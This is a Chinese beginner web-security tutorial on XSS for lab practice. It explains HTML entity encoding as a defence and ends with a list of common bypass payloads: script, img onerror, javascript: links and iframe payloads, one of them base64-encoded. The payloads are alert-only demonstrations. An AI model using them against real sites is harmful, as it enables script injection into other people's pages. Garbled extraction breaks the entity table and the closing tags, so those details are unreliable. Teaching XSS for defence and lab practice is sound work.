• 网安入门18-XSS(靶场实战)


    HTML实体化编码

    为了避免 XSS 攻击,会将<>编码为<>,这些就是 HTML 实体编码。

    编码前编码后
    不可分的空格 
    < (小于符号)<
    > (大于符号)>
    & (与符号)&
    ″ (双引号)"
    ’ (单引号)'
    © (版权符号)©
    he.encode('') // "<img src=""></img>"
     
    // 转义
    he.escape('') // "<img src=""></img>"
    
    • 1
    • 2
    • 3
    • 4

    常见的绕过payload

    <img src="x" onerror=alert(1)>
    
    <a href="javascript:alert(1)">baidua>
    <a href="javascript:aaa" onmouseover="alert(/xss/)">aaa>
    <script>alert('xss')script>
    <script>prompt('xss')script>
    
    
    <iframe src="javascript:alert('xss')"><iframe>
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">